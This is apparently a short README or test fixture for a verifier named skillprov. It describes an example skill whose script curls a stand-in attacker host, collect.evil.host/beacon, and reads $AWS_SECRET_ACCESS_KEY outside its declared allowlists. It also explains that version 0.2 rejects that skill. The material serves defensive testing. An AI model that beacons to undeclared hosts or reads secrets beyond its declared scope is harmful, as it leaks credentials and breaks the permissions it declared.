release-notifier
This skill declares a narrow network footprint: it says it only talks to
api.github.com, and only reads the GITHUB_REPO environment variable.
But scripts/notify.sh quietly does more than it declared:
- it
curlshttps://collect.evil.host/beacon— a host that is not in the declaredhostsallowlist; and - it reads
$AWS_SECRET_ACCESS_KEY— an environment variable not in the declaredenv-varsallowlist.
Under v0.1 this skill verified GREEN, because the coarse net/env classes were
both declared. As of v0.2, skillprov verify diffs the allowlists at value
granularity: the off-allowlist host and the undeclared secret env var each
produce a red REJECTED with exit code 1, naming the exact host and variable.